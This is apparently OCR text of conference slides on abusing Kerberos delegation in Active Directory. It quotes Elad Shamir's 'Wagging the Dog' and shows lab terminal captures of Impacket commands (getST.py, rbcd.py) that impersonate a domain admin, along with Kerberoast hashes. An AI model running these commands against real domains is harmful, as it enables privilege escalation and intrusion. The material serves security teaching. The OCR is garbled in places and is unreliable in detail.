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N pentest team leader (operations)

W' community leader (leading change for: sales, staffing,
delivery, knowledge management, ...)

The Hacker Recipes, Exegol, pyWhisker,
targetedKerberoast.py, small PoCs, various Impacket scripts, ...
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Mathieu Calemard du Gardin (@Dramelac
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Domain Services
Users, groups
Devices (workstation, server, ...)
Services (emails, apps, files, ...)
Mechanisms (auth, rights, policies, ...)
Certificate Services
PKI (Public Key Infrastructure), ...
Federation Services

Site Services




3 way handshake (negotiate, challenge, authenticate)
Challenge-response scheme

Secret key based on password hash o orum)
Domain Controller wsuary decides

Based on tickets that expire in time
Pre-authentication scheme based on “long term” key
‘Long term" key based on users' password

Supports certificates (PKINIT) for pre-auth




Capture
Relay
Pass the hash

Pre-auth bruteforce

Pass the key/ticket/cache/certificate
Overpass/unPAC the hash
Golden/silver tickets
ASREQ/ASREP/Kerberoast
Delegations, S4U abuse

Shadow Credentials
sAMAccountName spoofing
SPN-jacking



https://www.thehacker.recipes/ad/movement/ntlm
https://www.thehacker.recipes/ad/movement/kerberos

Client encrypts a timestamp with its LT key I request 3
Can work with certificates (i

Ticket Granting Ticket

<€—All good, here's a

request
) . O —
Issued by the AS" if pre-auth is ok
Information about user stored in PAC <€—All good, here's a
PAC is encrypted with KDC™ LT key (krbtgt) hereé\cr:rc]:;ss request 3

Service Ticket
Issued by the TGS if TGT is ok
PAC" from TGT is replicated and encrypted with Service LT dedieta >
key" (eg appo1$)
Service decides client access depending on info in PAC

——All good, what do you need?

blablablabla:

A
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Unconstrained

Constrained

Resource-Based
Constrained

With protocol transition
("Use any auth. protocol")

Without protocol transition
("Kerberos only")

userl Properties ? X

Organization Member Of Dialin Environment Sessions
Remote control Remote Desktop Services Profile COM+
General  Address  Account  Profle  Telephones  Delegation

Delegation is a security-sensitive operation, which allows services to act on
behalf of another user.

(O Do not trust this user for delegation

Trust this user for delegation to any service (Kerberos only)
Trust this user for delegation to specified services only
e Kerberos only

any authentication protocol




Unconstrained
Account can delegate
Delegation set on the account
Requires domain admin- privileges
Constrained
Account can delegate
Delegation set on the account
Requires domain admin- privileges
With or without

Resource-Based Constrained

can delegate to the account

Delegation set on the account
Doesn't require ultra high privileges
Machine can configure itself for RBCD



Service configured for KUD receives ST SR s —
ST contains user's TGT
KUD service acts as the user with the TGT

<€—All good, here's a TGT:

Service Ticket request
L — for APPO1
with USER TGT

All good, here's a ST
<« —

act as any user on service (USER > )
Access request

except members of Protected Users N [ ——
except users sensitive for delegation

Service Ticket request

requires control over the KUD account

. . . ) i All good, here's a ST 3
requires incoming authentication from user (HEER-SARRIR)
to be able to act as him

Access request

here'sa ST ~—3p
(USER > )




> without Protocol Transition (“Kerberos only”)

Service configured for KCD receives ST  TGTrequest ___ o
pre-authentication

ST is used as evidence in a S4U2proxy request

S4U2proxy request = Service Ticket request

<€—All good, here's a TGT:

Service Ticket request
L — for APPO1
with USER TGT

All good, here's a ST
<« —

act as any user on Services (USER > )
Access request

except members of Protected Users f—————teres my Secrios Tekst————
except users sensitive for delegation

S4U2proxy request

requires control over the KCD account

\ . . . . All good, here's a ST
requires incoming authentication from user to be (USER > APP02) — >
able to act as him

Access request

here'sa ST ~—3p
(USER > )




> with Protocol Transition (“any authentication protocol”)

Service configured for KCD calls S4U2self instead
of waiting for a user authentication
. . . S4U2self t
ST is used as evidence in a S4U2proxy request <€, USER 10 APPOT——

S4U2* request = Service Ticket request All good, here's a ST

—  (USER-> )
. S4U2proxy request

act as any user on services P _
except members of Protected Users

. . All good, here's a ST
except users sensitive for delegation E— (UQSER = ) —>
requires control over the KCD account Access request

here'saST —)p

(USER > )



TGT request 3
pre-authentication

<«€—All good, here's a TGT.

Service Ticket request
— for APPO1
with USER TGT

All good, here's a ST S4U2self request

< (USER -> ) € for USER to APPO1
Access request
\ ; All good, here's a ST
_) P T e S— ’ T O T T T T T
here's my Service Ticket (USER -> ) L — ) 2

(USER > )

S4U2proxy request

2N J «— —

All good, here's a ST
(USER -> ) >

Access request

here'sa ST =3
(USER -> )
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obtain a ST for oneself on behalf of a user
if “impersonated” user is protected, ticket is valid but not

if requester not configured for KCD, ticket is valid but not

if requester is configured for KCD without Protocol
Transition, ticket is valid but not

obtain a ST for another service on behalf of

a user

request must include an additional-ticket as evidence

additional-ticket must either be or have the
bit set in

the PA-PAC-OPTIONS

requester must be allowed to delegate to target (KCD,

RBCD)

fails if “impersonated” user is protected

ST obtained with S4U2proxy is always

Shenanigans Labs

Wagging the Dog: Abusing Resource-
Based Constrained Delegation to Attack
Active Directory

28 January 2019 - Elad Shamir « 41 min read

Back in March 2018, | embarked on an arguably pointless crusade to prove that the
TrustedToAuthForDelegation attribute was meaningless, and that “protocol transition” can be achieved
without it. | believed that security wise, once constrained delegation was enabled (msDS-
AllowedToDelegateTo was not null), it did not matter whether it was configured to use “Kerberos only” or
“any authentication protocol”.

| started the journey with Benjamin Delpy’s (@ gentilkiwi) help modifying Kekeo to support a certain
attack that involved invoking S4U2Proxy with a silver ticket without a PAC, and we had partial success,
but the final TGS turned out to be unusable. Ever since then, | kept coming back to it, trying to solve the
problem with different approaches but did not have much success. Until | finally accepted defeat, and
ironically then the solution came up, along with several other interesting abuse cases and new attack
techniques.

TL;DR

This post is lengthy, and | am conscious that many of you do not have the time or attention span to read
it, so | will try to convey the important points first:

1. Resource-based constrained delegation does not require a forwardable TGS when invoking

Wagging the Dog (2019)



https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

> Dude trust me_
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> No delegation

[Mar 18, 2022 - 19:31:30 (CET)] exegol-insomnihack /workspace # findDelegation.py -user 'self-pc$' 'insomni.hack'/'charlie':'complexpassword’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

No entries found!
[Mar 18, 2022 - 19:48:49 (CET)] exegol-insomnihack /workspace # getST.py -self -impersonate 'domainadmin' -dc-ip dc@1 'insomnihack'/'self-pc$':'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving ticket in domainadmin@self-pc$@INSOMNI.HACK.ccache

[Mar 18, 2022 - 19:48:55 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@self-pc$@INSOMNI.HACK.ccache'

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1 no KCD
[*] Parsing credential[0]:

[*] User Name : domainadmin

[*] User Realm : insomnihack

[*] Service Name : self-pc$

[*] Service Realm : INSOMNI.HACK not forwardable
[*] Start Time : 18/03/2022 19:48:55 PM

[*] End Time : 19/03/2022 05:48:55 AM

[*] RenewTill : 19/03/2022 19:48:55 PM

[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : jalVjnhlrD9Et574ilELWg==



> KCD without PT

[Mar 18, 2022 - 19:29:59 (CET)] exegol-insomnihack /workspace # findDelegation.py -user 'self-pc-kcd$' 'insomni.hack'/'charlie':'complexpassword’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

AccountName AccountType DelegationType DelegationRightsTo

self-pc-kcd$ Computer Constrained w/o Protocol Transition rpcss/sv01.insomni.hack

self-pc-kcd$ Computer Constrained w/o Protocol Transition rpcss/SVol

self-pc-kcd$ Computer Constrained w/o Protocol Transition http/sv@1.insomni.hack

self-pc-kcd$ Computer Constrained w/o Protocol Transition http/SVo1 R KCD; but no

self-pc-kcd$ Computer Constrained w/o Protocol Transition HOST/sv@1.insomni.hack Protocol Transition

self-pc-kcd$ Computer Constrained w/o Protocol Transition HOST/SV01

self-pc-kcd$ Computer Constrained w/o Protocol Transition cifs/sv@1.insomni.hack

self-pc-kcd$ Computer Constrained w/o Protocol Transition cifs/SVe1

[Mar 18, 22 - 19:31:19 (CET)] exegol-insomnihack /workspace # getST.py -self -impersonate 'domainadmin' -dc-ip dc@1 'insomnihack'/'self-pc-kcd$': 'baguette’

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving ticket in domainadmin@self-pc-kcd$@INSOMNI.HACK.ccache

[Mar 18, 2022 - 19:31:26 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@self-pc-kcd$@INSOMNI.HACK.ccache'
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:

cd$
cd$

[*] Service Realm : INSOMNI.HACK

[*] Start Time : 18/03/2022 19:31:26 PM not fOrWardable
[*] End Time : 19/03/2022 05:31:26 AM /

[*] RenewTill : 19/03/2022 19:31:26 PM

[*] Flags : (0xal0000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : hJq+hFMJ/EK+v40ZqDFEZzA==



> KCD with PT

self-pc-ked Properties ? X

self-pc-ked Pre \

General Operating System Member Of Delegation Location Managed By Dialin General Operating System Member Of Delegation Location Managed By Dialin

Delegation is a security-sen: operation, which allows services to act on services to act on

behalf of another user.
Do not trust this computer for d
ust this computer for delegation to any service (Kerberos only) Trust this computer for d
Tust this ¢ legation to specified Trust this computer for d
(O Use Kerberos only

Service Type e  Useror Computer Port
cifs / t q sv01.insomnihack
HOST eventsystem  svD1.insomnihack
http fax sv01.insomni hack
pcss HOST sv01.insomni hack
sv01.insomni hack
sv01.insomni hack

Remove [ Expanded

Cansl




> KCD with PT

[Mar 18, 2022 - 19:29:40 (CET)] exegol-insomnihack /workspace # findDelegation.py -user 'self-pc-kcd$' 'insomni.hack'/'charlie':’'complexpassword’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

AccountName  AccountType DelegationType DelegationRightsTo

self-pc-kcd$ Computer Constrained w/ Protocol Transition rpcss/sv@1.insomni.hack

self-pc-kcd$ Computer Constrained w/ Protocol Transition rpcss/SVo1

self-pc-kcd$ Computer Constrained w/ Protocol Transition http/sv@1.insomni.hack

self-pc-kcd$ Computer Constrained w/ Protocol Transition http/SVo1 Constrained Delegation with
self-pc-kcd$ Computer Constrained w/ Protocol Transition HOST/sv01.insomni.hack .
self-pc-kcd$ Computer Constrained w/ Protocol Transition HOST/SV01 Protocol Transition
self-pc-kcd$ Computer Constrained w/ Protocol Transition cifs/sv0@1.insomni.hack

self-pc-kcd$ Computer Constrained w/ Protocol Transition cifs/SV01

[Mar 18, 2022 - 19:29:43 (CET)] exegol-insomnihack /workspace # getST.py -self -impersonate 'domainadmin' -dc-ip dc@1 'insomnihack'/'self-pc-kcd$':'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user not sensitive for

[*] Impersonating domainadmin delegation

[*] Requesting S4U2self n Pr r
[*] Saving ticket in domainadmin@self-pc-kcd$@INSOMNI.HACK.ccache ot otected Use
[Mar 18, 2022 - 19:29:45 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@self-pc-kcd$@INSOMNI.HACK.ccache'

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:

[*]

[*] Service Realm : INSOMNI.HACK forwardable
[*] Start Time : 18/03/2022 19:29:44 PM

[*] End Time : 19/03/2022 05:29:44 AM

[*] RenewTill : 19/03/2022 19:29:45 PM

[*] Flags : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac

[*] Base64(key) : 4p02BalrfiRrG422kdSaog==



> KCD with PT, protected user

protected_admin Properties ? X

Remote control Remote Desktop ices Profile COM+
General Account  Profile Telephones rganization
Member O Dialin Environment

Primary group:  Domain Users

Cancel

[ ] exegol-insomnihack /workspace # getST.py -self -impersonate 'protected_admin' -dc-ip dc@1 'insomnihack'/'self-pc-kcd$':'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating protected_admin

[*] Requesting S4U2self
[*] Saving ticket in protected_admin@self-pc-kcd$@INSOMNI.HACK.ccache
[ ] exegol-insomnihack /workspace # describeTicket 'protected_admin@self-pc-kcd$@INSOMNI.HACK.ccache'

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:

[*] Service Realm : INSOMNI.HACK

[*] Start Time : 18/03/2022 20:13:56 PM

[*] End Time : 19/03/2022 06:13:56 AM

[*] RenewTill : 19/03/2022 20:1 6 PM

[*] Flags : (0xa10000) renewable, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac

[*] Base64(kev) : C0eVm8OAS+F/@bvk27bH1A==



> KCD with PT, user sensitive for deleg.

-_admin Properties

Member Of Dialin Environment

mote control Remote Desktop Sevi . ) . X . . .
count  Profile = [ getST.py -self -impersonate 'sensitive_admin' -dc-ip dc@1 'insomnihack'/'self-pc-kcd$':'baguette

Impacket v0.9.25.dev1+20220308. 171024 317ca2d2 - Copyrlght 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating sensitive_admin

[*] Requesting S4U2self
[*] Saving ticket in sensitive adminﬁ]self~pcAkcd$a)INSOMNI HACK.ccache
[ 1 rkspace describeTicket 'sensitive_admin@self-pc-kcd$@INSOMNI.HACK.ccache'

Log On T«
S Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[ Unlock account

ount gptions:

[ Store password using reversible encryption
9 Y
[ Account is disabled

Cancel
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> no delegation, not forwardable

[mar 18, 2022 - 39:47 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@self-pc$@INSOMNI.HACK.ccache'
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Name

[*] Service Na

[*] Service Realm : INSOMNI.HACK not forwardable

[*] Start Time : 18/03/2022 21:39:33 PM

[*] End Time : 19/03/2022 07:39:33 AM

[*] RenewTill : 19/03/2022 21:39:34 PM

[*] Flags : (0xal0000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[*] Base64(key) : B1BZTcTeulIezAd7IbH21Q==

[*] Kerberoast hash : $krb5tgs$23$*USER$INSOMNI . HACK$self-pc$*$adfca224d746a6b818a326eb33dccf07$8150dabfb72881f17fc4536af654e1993e2b9661ca033360176b2fab3d3f5e0f90711d61d54d128a6d9baf5932a8¢cb285ad1d95723¢c5e11d73b8

c0c2471af16d3ecca517743855701520b0ec04b8583cf78a875add592710f723ef1fe9d45946d27290dc2a42154742715c79384ab22ce69b52540ccc9bfa725c9bl4dd48as5ffdda76f2901c93e29f7bsadbf728ad10b1f8b4496c9bd49837e2d0eb2b5fce4e538302ec20079d7b19d6abe
0c7194892f06fd6e263el4ealdf8f96c9ce867e68fa3893d721b1fe86de503fae7deab5fclaa9356c274275ba085cd6casbe2453cf24e2a0fbc317b73445badf5c7885db2ea2abe67c2be23d31429c1fe5e3204c4e354cfabfdle88bccd945a028fc8c3bd7das3142a4ffc980561bbc565

a3d290fc76c90a16273ae33b9cdab11a7b76bbsef6ffb8laf79d3eadf996c4bs3a382d4a9d5c96912272155221c49f2f72b7e6873blabbc628c172edabded71bf003f1f1700a39233544fa86e1c0d97bdf6. 328f0 2a8464ea3clc? 74e806107dae60343b022a
b9d5b57eccb3f2543ba52f9a601f17388bb7e437301996958e81cb3c7bb2ba502ed4843bb739eddb1d37bb57c6381ffbc326a029f67e5f6488311627824192a4426d92568053821ef39380bdb232eb40032d8474478f6c594c5173¢55373ba62b669ed5effllef34fb011bfsaelse3bdes
5f7c114469b1632d03cef867cbc6f7e2099fa9163313d4f164e82fda3894bdbcec768cdfd93adsffesf81db915a5c218ea7fdl4bfbla2cdesd96474c912cfbd6b7a48f45ee063c90d958201f0020d9f84c64e833c4lebe7ce273b3f51662de28075dd 4dale2bb d6ael8a732c7

574407511e5188cc5160f667bcfeac4e4cd580e5265ec6149d7729cc90e2223d80b488da99e8642ace740d8f2883a943ae605aa468408b8a81fa97f0a24b260b721c854c7f88f6e6a421e809fb27455c594ef4a3dd45714F7cf688309b00d5e335fF8148d9259a785¢757968e87d5ff1c3
Ob4eabd271aee584a19b9947cfc88d87859183b0949fabb000d34eb419f5e61cb2375c78496c0001561e9fb0c47609f3c6d6bb9d10a82ed6b8debccf3db3681cc7578a7d450553¢c6758255dacabac4b900ch90dele69cab97da98804c54c4799f7e3f738f56891810789934a7065a2547¢
3a5975341124315e7da9562245821797908524e: d ba3f9. 08c6721af85ae92196d93f27b79b22e1b5e2ce0fa1922e788c00db6fbf4c24a38e97c018099212c873902d98733727254694be9576998526474b2f3c498e4ee8c3bas91f1513782¢c9e99076b791dd0d0ed6a525
53a6c2219247bdb04ed2f77a9383b37662c848dcf2d76c1901e48555c360f07a9bblae328d8c245876a1d69768e7f026f317a423ef

[*] Decoding unencrypted data in credential[0]['ticket']:

£

t*] Service Realm : INSOMNI.HACK

[*] Encryption type : rc4_hmac (etype 23)
[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied
[Mar 18, - 21:39:52 (CET)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domainadmin@self-pc$@INSOMNI.HACK.ccache' -impersonate 'domainadmin' -spn 'host/self-pc' 'insomni.hack'/'self-pc$':'baguette’

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin fails
[*] Using additional ticket domainadmin@self-pc$@INSOMNI.HACK.ccache instead of S4U2Self

[*] Requesting S4U2Proxy

[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)

[-] Probably SPN is not allowed to delegate by user self-pc$ or initial TGT not forwardable



> KCD, not forwardable

ir 18, 2022 - 50:01 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@self-pc-kcd$@INSOMNI.HACK.ccache'
racket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

Number of credentials in cache: 1
Parsing credentiall[0]:

éer\‘lic; Realm : IﬁSOM;‘lI.HACk not fOrWardable

|
|
|
|
|
I
|
| End Time : 19/03/2022 07:50:01 AM
I
|
|
|

Start Time : 18/03/2022 21:50:01 PM
RenewTill : 19/03/2022 21:50:01 PM
Flags : (0xal0000) renewable, pre_authent, enc_pa_rep
KeyType : rc4_hmac
Base64(key) : FbSIwkdjQtHYE1IZnnQSxw==
| Kerberoast hash : $krb5tgs$23$*USERSINSOMNI . HACK$self-pc-kcd$*$0a97c23ef3ca3f3462158ad81ecf5abs$941d9011482b7c0e6d2e29803b49e1felfae0698a11f564e57b7eeb604dd53a66455fdfd0024b0559a6b69185b3120d6fedfcOb7c5e13¢

¥42c5df55e5cfa5c71704746492f9fa720679230770a0ff721b0001d3e9dd4fd6b7227002644972fb0b8c7253cd482af93935622e63a44cd08530c80aa2d325ee0e3a4f10894ee603a3b7b5120ae724bd8222cf9004e20b55ba92802ec638da089722ba36d7572948c5b2b2c156d8¢
)c6dc2cd567abce701b69d432c04221927162db6d42dcedcae7ed59f7f0cb38580dd67b263572c6d7f96b85€9c2371997e22bbcf63e955¢62b28ddeddc5670d9elddeb8a1dd062137055d97a33452cedb2c57d77e384d8f8a4d3bd1dca923e5106badesaf3e30063db3faacdd5b68¢
104a5795d2fc40e09e68a81538d58914f0d4a00eb3c4057bf5470df6345b58be7659206dc676a757db6268f5055ce42d29b9f7ff494308db991eaastd01224ae802131al14ea3d75e575230ae43cf9c4b6daca73d72436c2ab591d1aa29f174f078ac8ceb446d9651693ddf5fcdd5e85¢
3f3ad99d1d2b2fd1fd3e6d08be09d0739a946620cf990f3a99752f7de3a8c6293c4aebee38804fab6c13305bfd8f24b951d9eefade304aae75a19f0ch01543698cd4fod5fba15a61404caaldddo7dcb2alc3daclc7f4678fc7f9559¢c4f9d09b3d325dcd1e9a92552b1a9ddbssd82¢
)4b170bf63f572a89303c17c9460eb3f6a2aefed6f8bld72ceecf853921d7d73f8e2973bcbe3f305471b452a018b0857773b147b964792440b29ecf55b09b13e395f3158d4f54d937ec471762cc2a8d51dd08d7cad525ea472f3678ac9db59a934d3ebdfefd1d9d6bo50cf2e344 el
+9383f87154falbacb94113a1032abcdea75708eb98ba3bb0d08974a64425251037c7e8a0dda15322c69e98fc064c8f200692981ad7a3889111d9celd4bs306384269beb6ccda764cd88ff9f784612838ef5068de7c7b4d88477465780aa77577b3dfee4174c4f34cfe0d065ef231(
Lca74968b798879905c5e7adcd92f59ecfa8532e494814d560c61f3741a7dc3ead4396ed170a24cd6d85b8b82d97db874679f4a376181dcaf8533c5cfc4adb50fca268c5ebd5b0cd15e3a295770a0403507328370e837c6a5570c120b79faa0819688028a71f1dd84d852d32fb6fc
20deb9ae4447ae9d184cc95b05134768e5e4e59dfd54fd887274c8027132a17b7e99d759d3219f546447822f7b74192fdea845d91a93e96d695f4ab65538476160e089f8ac46f242185cb042c2c2754179€92690d4bael4f490c672745e1ce6d658787807d94F9721dbecedebf3be
30c68c195aafee8f3d4bd87f5c976a1d572b2b24e78f098976eaa848c4826e512aea337b99ca5e74c3036742e21a1158836abf8b5b2f

| Decoding unencrypted data in credentiall[@]['ticket']:

| Service Name : self-pc-kcd$

| Service Real ¢ INSOMNI.HACK

|  Encryption type : rc4_hmac (etype 23)
| Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied
w18, 2022 - 21:50:06 (CET)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domainadmin@self-pc-kcd$@INSOMNI.HACK.ccache' -impersonate 'domainadmin' -spn 'host/sv@1' 'insomni.hack'/'self-pc-kcd$':'baguette’

racket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

| Getting TGT for user

| Impersonating domainadmin fails
| Using additional ticket domainadmin@self-pc-kcd$QINSOMNI.HACK.ccache instead of S4U2Self

| Requesting S4U2Proxy

| Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)

| Probably SPN is not allowed to delegate by user self-pc-kcd$ or initial TGT not forwardable



> KCD, forwardable

[Mar 18, 2 1:48:09 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@self-pc-kcd$@INSOMNI.HACK.ccache'
Impacket v0.9. 25 dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] User Name QEGIGE
" Re: niha
s oAt forwardable
[*] Service Realm H INSOMNI HACK
[*] Start Time : 18/03/2022 21:48:09 PM

[*] End Time 19/03/2022 07:48:09 AM
[*] RenewTill 19/03/2022 21:48:09 PM
[*] Flags : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep

[*] KeyType rc4_hmac
[*] Base64(key) 8xKhB+5/T1jiHHEnwyJalQ==
[*] Kerberoast hash : $krb5tgs$23$*USER$INSOMNI . HACK$self-pc-kcd$*$6d9db9a637b009df7499316c41ec856f$4193f3b29cbb579dcas5750¢: 753ce97790bcacdale33b26f0deblcSbceb6ce5a07bc3726abe8ascc5fed200d425483al1aedceasfc

976cd390454a623c338ffc95fc7b2e634f3d3956d6echa792ala81e781082c44615dc19afbal82a23fdef0d2de7f983413655c20298694e08f01f85de55f3a568e18907dcc98ba37be860ff652fc355a6ed34c8fff518fe1654264408bacas6266fac8f3e9f2fc0641b6ce5378bcll12ee
ed9224c5a5169e4d4fb2001b316d4as9474ca8ees8771f6c42082ddescf26ad1d728b5d4d02206699b4e8f7b9a0f3a5ee53d2e2dd0ab16ae86015f099dfbe788f6b0e4c19c01f375e3081371b48fdd58c7aa76e36591ed6e061c49f894ee10d9a33f4c5d2028587e63aaa69ch298899d45
0c78ebdf66f6242bd00b7dd0d31c7191c457abfc0818b9f714425b7d9d1cbbce57332ca8ead363dac8f25780a8ddf69243a2e2. f! 26be83958¢3: 1034177a5eef 2c2a3fc5e32154c23cf7a25c694780fddb915e63ab436f475f43e008575d323482b
a476511ddb76a6d8elacfb13494cf5324dc3ed2f19b45fe1de181d5239c7772d11daa8534d53d5b3f30a31c2634d6b2fd1f51d268b2477b09fcc6261e3f85470d5a73f24dbb8bd2ddccOe304aff710803c3438f78982b6fe71b1e3d664491706006fd00039518b1d0e5eaeb64fbebdaf22
50dd37433740cb68b7d7c84cf6173b0264e443bc6ffaad5641074c7117b0979c5101bd1935d8ebc9b5b951a0693d1d17f6bff57b95f2bde11518f160931fccedc7f889262757a565caffc4471da81072e92b1a9b25d8327e56ab427594f1b1f042c0cb243a812b9a7d9d7029329eca0c22
650c8478a3fd894a9d195f45d6faaa22116724df2c9947d18f907da08a4fe84155. 3c0882df07b! 7608ffaa74e34a8360516c61102414d8ccbcc2f8bf5b1bd11ef053dd9ad1b0d9fas49959b054f171aeef504delcfesf9127caba77b6f5a0e6ddec21214ceesd7ee
dd9606a6d3a8582863a0955dcc3f6684619f07ef3e83396402c5f d f854ef 7999e14c5280ab42d2d509811c00855f7e120c6e6easbb3902a9c24916fe62264a6b65923e5a57915a3897e014225eefc464fb9cd254a15bde2c47348a41a3882fd9f063e19fdb711b
125ae0each071e65f8be07014d60284a51e1092c5bba3c41d3557efd9085f722d25728132f530be26134ab2f7ffladd1ba53fca309aaked156439a821eb383356085c36c5f9d1e634d2ff3ab99dbd2f522a1b84c0f123fa05ad701b5b0614728e97199f61a4d7457a6edf584e874cab202
79a3e9a1bf12ddoc1f3ab5234aabfef51c4571704d6e0a90bf1a77¢c33b715b58cfae5c254aff4e190f5993a0d5e536f9c643a9b258ales

[*] Decodlng unencrypted data in credentlal[ﬂl[ ticket']:

[*] service Realm

INSOMNI HACK

[*]  Encryption type : rc4_hmac (etype 23)
[-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied
[Mar 18, 2022 - 21:48:11 (CET)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domainadmin@self-pc-kcd$QINSOMNI.HACK.ccache' -impersonate 'domainadmin' -spn 'host/sv01' 'insomni.hack'/'self-pc-kcd$':'baguette’

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating domainadmin

success!

[*] Using additional ticket domainadmin@self-pc-kcd$@INSOMNI.HACK.ccache—ifistead of S4U2Self

[*] Requesting S4U2Proxy

[*] Saving ticket in domainadmin@host_svO1@INSOMNI.HACK.ccache

[mar 18, 2022 21:48:19 (CET)] exegol-insomnihack /workspace # describeTicket 'domainadmin@host_svO1QINSOMNI.HACK.ccache'

Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

] Number of credentials in cache: 1
] Parsing credentiall[0]:

%] Service Name
*] Service Realm
[*] Start Time
[*] End Time

[*] RenewTill

[*] Flags

[*] KeyType rch_hmac

[*] Base64(key) LRHKyshiw7PF2a37co5VHQ==

[*] Kerberoast hash : $krb5tgs$18$USERSINSOMNI . HACK$*host/sv01%$90ddc05cffb8b73d99d1ada5$fa7dbo01b074e7d53f68ddd32bf46af3211913a2ef1a80f98e731a919111975f6a088c2963d0d14086c368b1le46f7b8b3778506db08c26f8f85952c99b4

: INSOMNI.HACK

18/03/2022 21:48:19 PM

19/03/2022 07:48:19 AM

19/03/2022 21:48:19 PM

(0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep




> not forwardable, but forwarded anyway
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> not forwardable, forwarded anyway

[Mar 18, 2022 - 19:26:12 (CET)] exegol-insomnihack /workspace # rbcd.py -delegate-to 'self-pc-rbcd$' -dc-ip dc@1 -action read 'insomni.hack/self-pc-rbcd$:baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Accounts allowed to act on behalf of other identity:

[*] self-pc- rbcd$ (S-1-5-21-233002512-923668061-1685098237-1112)

[mar 18, 2022 1 124 (CET)] exegol-insomnihack /workspace # getST.py -self -impersonate 'domainadmin' -dc-ip dc@1 'insomnihack'/'self-pc-rbcd$':'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating domainadmin

[*] Requesting S4U2self

[*] Saving ticket in domainadmin@self-pc-rbcd$@INSOMNI.HACK.ccache

[Mar 18, 2 - 19:26:32 ( )] exegol-insomnihack /workspace # describeTicket 'domainadmin@self-pc-rbcd$@INSOMNI.HACK.ccache'
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[ J by \Nar

[*] Service Realm : INSOMNI.HACK not forwardable

[*] Start Time : 18/03/2022 19:26:32 PM

[*] End Time : 19/03/2022 05:26:32 AM

[*] RenewTill : 19/03/2022 19:26:32 PM

[*] Flags : (0xal0000) renewable, pre_authent, enc_pa_rep

[*] KeyType : rc4_hmac

[#] Base64(key) : kPx1rvUNZPzvB7URZ4Cavw==

[Mar 18, 2022 - 122 (CET)] exegol-insomnihack /workspace # getST.py -additional-ticket 'domainadmin@self-pc-rbcd$@INSOMNI.HACK.ccache' -impersonate 'domainadmin' -spn 'hos

t/self-pc-rbecd' 'insomni.hack'/'self-pc-rbcd$’: 'baguette’
Impacket v0.9.25.dev1+20220308.171024.317ca2d2 - Copyright 2021 SecureAuth Corporation

